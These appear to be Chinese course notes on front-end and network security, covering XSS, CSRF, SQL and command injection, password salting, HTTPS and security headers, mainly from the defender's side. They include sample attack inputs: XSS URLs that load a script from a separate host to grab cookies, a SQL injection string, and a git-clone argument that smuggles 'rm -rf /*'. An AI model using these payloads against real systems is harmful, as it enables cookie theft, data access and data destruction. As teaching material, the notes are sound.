1. 前端安全
  2. 网络安全

前端安全

XSS

cross site scripting
跨站脚本攻击
XSS(Cross-Site Scripting), 跨站脚本攻击,因为缩写和CSS重叠,所以只能叫XSS,跨站脚本攻击是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的HTML标签或JavaScript进行的一种攻击。
跨站脚本攻击有可能造成以下影响

  1. 利用虚假输入表单骗取用户个人信息。
  2. 利用脚本窃取用户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
  3. 显示伪造的文章或图片

XSS 攻击分类

// 普通
http://127.0.0.1:3000?from=china
// alert 尝试
http://127.0.0.1:3000/?from=<script>alert(3)</script>
// 获取cookie
http://127.0.0.1:3000/?from=<script src="http://127.0.0.1:4000/hack.js"></script>
// 短域名伪造 https://dwz.cn/
通过短域名把真实的域名和参数进行覆盖
// 防伪造cookie入侵,chrome
document.cookie="yd:sess=eyj1csadadasdsddasdadd"
// 评论
<script>alert(1)</script>
// 跨站脚本注入
我来了<script src="http://127.0.0.1:4000/hack.js"></script>

XSS 攻击的危害 - Scripting能干啥就能干啥

  1. 获取页面数据
  2. 获取Cookies
  3. 劫持前端逻辑
  4. 发送请求
  5. 偷取网站的任意数据
  6. 偷取用户的资料
  7. 偷取用户的秘密和登录态
  8. 欺骗用户

防范手段

ejs 转译小知识

<% code %> 用于执行其中javascript代码;
<%= code %> 会对code进行html转译;
<%- code %>将不会进行转译
ctx.set('X-XSS-Protection', 0);
// 可以拦截url上的注入代码,但是伪装一下就不行了,比如短域名

0: 禁止XSS 过滤
1 启用XSS过滤(通常浏览器是默认的)。如果检测到跨站脚本攻击,浏览器将清除页面(删除不安全的部分)
1: mode=block 启用XSS过滤,如果检测到攻击,浏览器将不会清除页面,而是阻止页面加载。
1: report=(Chromium only)
启用XSS过滤,如果检测到跨站甲苯攻击,浏览器将清除页面并使用CSP report-uri 指令的功能发送违规报告。

// 只允许加载本站资源
Content-Security-Policy: default-src 'self'
// 只允许加载HTTPS协议图片
Content-Security-Policy: img-src https://*
// 不允许加载任何来源框架
Content-Security-Policy: child-src 'none'

ctx.set('Content-Security-Policy', "default-src 'self'")
// 尝试一下外部资源不能加载
https://127.0.0.1:3000?from=<script src="http://127.0.0.1:4000/hack.js"></script>
function escape(str) {
    str = str.replace(/&/g, '&amp;');
    str = str.replace(/</g, '&lt;');
    str = str.replace(/>/g, '&gt;');
    str = str.replace(/"/g, '&quto;');
    str = str.replace(/'/g, '&#39;');
    str = str.replace(/`/g, '&#96;');
    str = str.replace(/\//g, '&#x2F;');
    return str;
}

富文本来说,显然不能通过上面的办法来转译所有字符,因为这样会把需要的格式也过滤掉,对于这种情况,通常采用白名单过滤的办法,当然也可以通过黑名单过滤,但是考虑到需要过滤的标签和标签属性实在太多,更加推荐使用白名单的方式.

const xss = require('xss');
let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss")</script>');
// <h1 id="title">XSS Demo</h1>&lt;script&gt;alert("xss")&lt;/script&gt;
console.log(html);
response.addHeader('Set-Cookie', 'uid=112; path/; HttpOnly')
  1. 用户已经登录了站点A, 并在本地记录了cookie
  2. 在用户没有退出站点A的情况下(也就是cookie生效的情况下),访问了恶意攻击者提供的引诱危险站点B,B站点要求访问站点A。
  3. 站点A没有做任何CSRF防御

CSRF攻击危害

  1. 利用用户登录态
  2. 用户不知情
  3. 完成业务请求
  4. 盗取用户资金(转账,消费)
  5. 冒充用户发帖背锅
  6. 损害网站声誉

防御

  1. 禁止第三方网站带Cookie - 有兼容性问题
  2. Referer Check - Https 不发送 referer
  3. 验证码

防御

  1. X-FRAME-OPTIONS
    X-FRAME-OPTIONS是一个http响应头,在现在浏览器有一个很好的支持,这个http响应头就是为了防御用iframe嵌套的点击劫持攻击。
    该响应头有三个值可选分别是
    DENY 表示页面不允许通过iframe的方式展示
    SAMEORIGIN 标识页面可以在相同域名下通过iframe的方式展示
    ALLOW-FROM 表示页面可以在指定来源的iframe中展示
ctx.set('X-FRAME-OPTIONS', 'DENY')

js 方式

if (self == top) {
    document.body = '';
} else {
    top.location = self.location;
}

以上代码的作用就是当通过iframe的方式加载页面时,攻击者的网页直接不显示所有内容了。

// 填入特殊密码
1 'or'1'='1
// 拼接后的SQL
SELECT * FROM test.user WHERE username='3123213213' AND password = '1'or'1'='1'

防御
所有的查询语句建议使用数据库提供的参数化查询接口**,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中,既不要直接拼接SQL语句,例如Node.js中的mysqljs库的query方法中的,占位参数

// 错误写法
const sql = `
    SELECT * FROM test.user WHERE username='${ctx.request.body.username}'
    AND password = '${ctx.request.body.password}'
`
console.log(sql);
res.await query(sql);
// 正确写法
const sql = `
    SELECT * FROM test.user
    WHERE username = "
    AND password = ?
`
console.log(sql);
res = await query(sql, [ctx.request.body.username, ctx.request.body.password])
  1. 严格限制web应用的数据库的操作权限**,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的减少注入攻击对数据库的危害
  2. 后端代码检查输入的数据是否符合预期**,严格限制变量的类型,例如使用正则表达式进行一些匹配处理。
  3. 对进入数据库的特殊字符(',",\,<,>,&,,;)等,进行转译处理,或编码转换*。基本上所有的后端语言都有对字符串进行转译处理的方法,比如lodash的lodash._escapehtmlchar库
// 以Node.js为例,加入在接口中需要从 github 下载用户指定的repo
const exec = require('mz/child_process').exec;
const params = { /* 用户输入的参数 */};
exec(`git clone ${params.repo}/some/path`);

如果传入的参数如下会怎样

https://github.com/xx/xx.git && rm -rf /* &&
  1. DNS劫持
    顾名思义,DNS服务器(DNS解析各个步骤)被篡改,修改了域名解析的结果,使得访问到的不是预期的ip
  2. HTTP劫持运营商劫持,此时大概只能升级HTTPS了

防御手段

  1. 备份网站
    备份网站不一定是全功能的,如果能做到全静态浏览,就能满足需求,最低限度应该可以显示公告,告诉用户,网站除了问题,正在全力抢救。
  2. HTTP 请求拦截
    硬件 服务器 防火墙
  3. 宽带扩容 + CDN
    提高犯罪成本

防御手段

  1. 密码强化
  2. 人机识别
  3. HTTPS
  4. 浏览器安全控制
  5. CPS(Content-Security-Policy)
  1. 泄露渠道
    数据库被偷
    服务器被入侵
    通讯被窃听
    内部人员泄露
    其它网站(撞库)
  2. 防御
    严禁铭文存储
    单向变换
    变化复杂度要求
    密码复杂度要求
    加盐(防拆解)
  3. 哈希算法
    明文-密文: 一一对应
    雪崩效应: 明文小幅度变化,密文剧烈变化
    密文 - 明文无法反推
    密文固定长度 md5, sha1, sha256
  4. 密码传输安全
    https传输
    频次限制
    前端加密意义有限 - 传输层加密 不会泄露 但不代表不能登录
  5. 摘要加密的复杂度
    md5反查
  6. 两次MD5是否可取
  7. 和只加盐好不好
  8. 中间的字符串的作用
// passwordjs
const md5 = function(str) {
    const crypto = require('crypto');
    const md5Hash = crypto.createHash('md5');
    md5Hash.update(str);
    return md5Hash.digest('hex');
}
const encryptPassword = function(salt, password) {
    return md5(salt + 'adfsf@34#%^&*323@' + password);
}
const psw = '1111';
console.log('password', psw);
console.log('password', encryptPassword('123', psw));

module.exports = encryptPassword;

// const md5 = str => crypto.createHash('md5').update(str).digest('hex')

// index.js
const encryptPassword = require('./password');
// 加盐过程
if (res.length !== 0 && res[0].salt === null) {
    console.log('no salt');
    if (password === res[0].password) {
        // 加盐
        sql = `
            update test.user
            set salt = ? ,
            password = ?
            where username = ?
        `
        const salt = Math.random() * 999999 + '' + Date.now();
        console.log('salt:', salt);
        console.log('username: ', username);
        res = await query(sql, [salt, encryptPassword(salt, password), username])

        console.log('update', res);
        ctx.session.username = ctx.request.body.username;
        ctx.redirect('/?from=china')
    }
} else {
    if (encryptPassword(res[0].salt, password) {
        ctx.session.username = ctx.request.body.username;
        ctx.redirect('/?from=china');
    })
}
  1. 服务端随机生成抠图和带有抠图阴影的背景图片,服务端保存随机抠图位置坐标:
  2. 前端实现滑动交互,将抠图拼接在抠图阴影之上,获取用户滑动距离值;
  3. 前端将用户滑动距离值传入服务端,服务端校验误差是否在容许范围内
    备注说明: 单纯校验用户滑动距离是最基本的校验,处于更高安全考虑,可以考虑用户滑动整个轨迹,用户在当前页面上的行为等,可以将其细化复杂地步,可以根据实际情况设计,亦或借助用户行为数据分析模型,最终的目标都是增加非法的模拟和绕过的难度。
// 查看经过的节点
traceroute www.baidu.com

危害

  1. 窃听
    密码 敏感信息
  2. 篡改
    插入广告 重定向到其它网站(js 和 head 头)
    时代趋势
  3. 目前全球互联网正在从HTTP向HTTPS的大迁移
  4. Chrome和火狐浏览器将对不采用HTTPS加密的网站提示不安全
  5. 苹果要求所有APP通信都必须采用HTTPS加密
  6. 小程序强制要求服务器端使用HTTPS请求
    特点
  7. 保密性-防泄密
  8. 完整性-防篡改
  9. 真实性-防假冒
    HTTP + SSL = HTTPS

什么是SSL证书
SSL证书是由浏览器中 受信任的根证书颁发机构 在验证服务器身份后颁发,具有网站身份验证和加密传输双重功能

密码学

  1. 对称加密
    对称加密的一大缺点是密钥的管理与分配,换句话说,如何把密钥发送到需要解密你的消息的人的手里事一个问题,在发送密钥的过程中,密钥有很大的风险会被黑客们拦截,现实中通常的做法是将对称加密的密钥进行非对称加密,然后传送给需要它的人。
    DES
  2. 非对称加密
    产生一对密钥
    公钥负责加密
    私钥负责解密
    私钥无法解开说明公钥无效-抗抵赖
    计算复杂,对性能有影响,极端情况下1000倍
    常见算法 RSA(大质数),Elgamal, 背包算法,Rabin, D-H, ECC(椭圆曲线加密算法)

RSA原理
只能被1和本身整除额数叫质数,例如13,质数是无穷多的,得到两个巨大质数的乘积是简单的事,但想从该乘积反推出这两个巨大质数却没有任何有效的办法,这种不可逆的单向数学关系,是国际数学界公认的质因数分解难题,R,S,A三人巧妙的利用这一假说,设计出RSA公钥加密算法的基本原理:
1. 让计算机随机生成两个大质数p和q,得出乘积n
2. 利用p和q有条件的生成加密密钥e
3. 通过一系列计算,得到与n互为质数的解密密钥d,置于操作系统才知道的地方;
4. 操作系统将n和e作为公钥对外发布,将私钥d秘密保存,把初始质数p和q秘密丢弃,国际数学和密码学界已证明,企图利用公钥和密文推断出明文-或者企图利用公钥推断出私钥的难度等同于分解两个巨大质数的积。这就是Eve不可能对Alice的密文解密以及公钥可以在网上发布的原因,至于巨大质数要多大才能保证安全的问题不用担心,利用当前可预测的计算能力,在十进制下,分解两个250位质数的积要用数十万年的时间;并且质数用尽或两台计算机偶然使用相同质数的概率小到可以被忽略。

  1. 密码口令登录 通过密码进行登录,只要流程为:
    1. 客户端连接上服务器之后,服务器把自己的公钥传给客户端
    2. 客户端输入服务器密码通过公钥加密之后传给服务器
    3. 服务器根据自己的私钥解密登录密码,如果正确那么就让客户端登录
  2. 公钥登录 公钥登录是为了解决每次登陆服务器都要输入密码的问题,流行使用RSA加密方案,主要流程包含
    1. 客户端生成RSA公钥和私钥
    2. 客户端将自己的公钥存放到服务器
    3. 客户端请求连接服务器,服务器将一个用公钥加密随机字符串发送给客户端
    4. 客户端根据自己的私钥加密这个随机字符串之后再发送给服务器
    5. 服务器接受到加密后的字符串之后用公钥解密,如果正确就让客户端登录,否则拒绝
      这样就不用使用密码了。
// 生成公钥
ssh-keygen -t rsa -P ''
// 查看公钥
cat .ssh/id_rsa.pub
// 将公钥拷贝到服务器
scp ~/.ssh/id_rsa.pub root@192.168.xxx.xxx:/root
// 将公钥加入信任列表
cat id_das.pub >> ~/.ssh/authorized_keys

网站如何通过加密和用户安全通讯

原理:
客户端发送验证请求
服务器产生随机数,使用公钥进行加密
客户端用私钥解密得到随机数,发给服务器
服务器验证正确后同意登录

网站如何通过加密和用户安全通讯
浏览器发送给服务器一个https请求
服务器返回证书+公钥
浏览器向第三方验证证书是否有效
第三方返回验证结果
浏览器向服务器发送用公钥加密的对称密钥
服务器通过对称密钥和浏览器进行通信

证书过程

  1. server端通过加密算法生成一对密钥,把公钥发给CA,申请数字证书
  2. CA 审核后,生成数字证书,并发回给Server端
  3. TCP三次握手
  4. 客户端发送给服务器http报文请求并协商使用哪种加密算法
  5. 服务器响应报文并把自身的数字签名发给客户端
  6. 客户端下载CA的公钥验证Server的身份
  7. 客户端获得Server的公钥,生成一个随机对称密钥,用该密钥加密要发送的URL链接申请,再用Server端的公钥加密密钥
  8. 客户端发送加密的密钥和加密的URL链接申请
  9. 服务器使用自身的私钥解密,获得一个对称密钥,再用该对称密钥解密经过加密的URL链接,获得URL链接申请
  10. 服务器根据URL链接申请获得网页,并用客户端发来的对称密钥把该网页加密后发给客户端
  11. 用自身对称密钥解密,获得网页内容
  12. TCP四次挥手

证书分类
入门级DVSSL- 域名有效,无门槛
企业级OVSSL- 企业资质,个人认证
增强型EVSSL- 浏览器给予绿色地址栏显示公司名称

修改开发机的host
阿里去的真实证书
证书的格式说明
PKCS全称是Public-Key Crypography Standards, 是由RSA 实验室与其它安全系统开发商为促进公钥密码的发展而制订的一系列标准,PKCS目前共发布过15个标准,常用的有: PKCS#7 Cryptographic Message Syntax Standard PKCS#10 Certification Request Standard PKCS#12 Personal Information Exchange Syntax Standard X.509是常见的通用的证书格式。所有的证书都符合为Public Key Infrastructure(PKI)指定的ITU-T X509国际标准,PKCS#7 常用的后缀: .P7B .P7C .SPC PKCS#12 常用的后缀有: .P12 .PFX X.509 DER 编码(ASCII)后缀是: .DER ,CER ,CRT X.509 PAM 编码(Base64)的后缀是: .PEM .CER .CRT .cer/.crt 是用于存放证书,它是2进制形式存放的,不含私钥。.pem跟crt/cer的区别是它以Ascii来表示。pfx/p12用于存放个人证书/私钥。他通常包含保护密码,2进制方式p10是证书请求p7r是CA对证书请求的回复,只用于导入

参考项目目录 nginx/conf.d/cert

# 安全课程根目录
varsion: '3.1'
services:
   nginx:
    restart: always
    image: nginx
    ports:
        - 80:80
        - 443:443
    volumes:
        - ./conf.d/:/etc/nginx/conf.d
        - ./html/:/var/www/html/
# conf.d/www.josephxia.com.conf
server {
    listen 80;
    server_name www.json.com;
    location / {
        root /var/www/html;
        index index.html index.html
    }
}
# 增加的部分
server {
   listen 443;
   server_name localhost;
   ssl on
   root html;
   index index.html index.htm;
   # 公钥 + 证书
   ssl_certificate conf.d/cert/www.json.com.pem;
   # 私钥
   ssl_certificate_key conf.d/cert/www.json.com.key;
   ssl_session_timeout 5m;
   ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECHD:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4
   ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
   ssl_prefer_server_ciphers on;
   location / {
       root /var/www/html;
       index index.html index.htm;
   } 
}
# conf.d/www.json.com.conf
server {
    listen 80;
    server_name www.json.com;
    location = / {
        rewrite ^(.*) https://www.json.com/$1 permanent;
    }
    location / {
        rewrite ^(.*) https://www.json.com/$1 permanent;
    }
}
npm i koa-helmet -s;

const Koa = require('koa');
const helmet = require('koa-helmet');
const app = new Koa();

app.use(helmet());

app.use((ctx) => {
    ctx.body = "hello word";
});
app.listen(8080);

Strict-Transport-Security: 强制使用安全连接(SSL/TLS之上的HTTPS)来连接到服务器
X-Frame-Optons: 提供对于点击劫持的保护
X-XSS-Protection: 开启大多现代浏览器内建的对于跨站脚本攻击XSS的过滤功能
X-Content-Type-Options: 防止浏览器使用MIME-sniffing来确定响应的类型,转而使用明确的content-type来确定
Content-Security-Policy: 防止受到跨站脚本攻击以及其他跨站注入攻击

  1. Cookie标示
    secure: 这个属性告诉浏览器,仅在请求是通过HTTPS传输时,才传递cookie
    HttpOnly: 设置这个属性将禁止javascript脚本获取到这个cookie,这可以用来帮助防止跨站脚本攻击
  2. Cookie域
    domain: 这个属性用来比较请求URL中服务端的域名,如果域名匹配成功,或者是其子域名,则继续检查path属性
    path: 除了域名,cookie可用的url路径也可以被指定,当域名和路径都匹配时,cookie才会随请求发送
    expires: 这个属性用来设置持久化的cookie,当设置之后,cookie在指定的时间到达之前都不会过期。
  1. X-XSS-Protection: 防止发射型XSS
  2. Strict-Transport-Security: 强制使用https通信
  3. CPS
    HTTP响应头 Content-Security-Policy 允许站点和管理者在指定的页面控制用户代理的资源。除了少数例外,这条政策将极大的指定服务器,以及脚本断点,这将帮助防止跨站脚本攻击(Cross-Site Script) (XSS).

爬虫与反爬技术

const cheerio = require('cheerio');
const https = require('https');
let html = '';
const $ = '';
https.get('url', res => {
    res.on('data', data => {
        html += data;
    });
    res.on('finish', () => {
        $ = cheerio.load(html);
        // some code
    })
})

puppeter 无头浏览器
https://github.com/su37josephxia/imooc-data-analysis

  1. User-Agent, Referer, 验证码
  2. 单位时间的访问次数,访问量
  3. 关键信息用图片混淆
  4. 异步加载
  5. 前端技术限制
    字体乱序加密技术
    将网站的重要字体,将html部分生成图片
    反爬的最高境界就是Canvas的指纹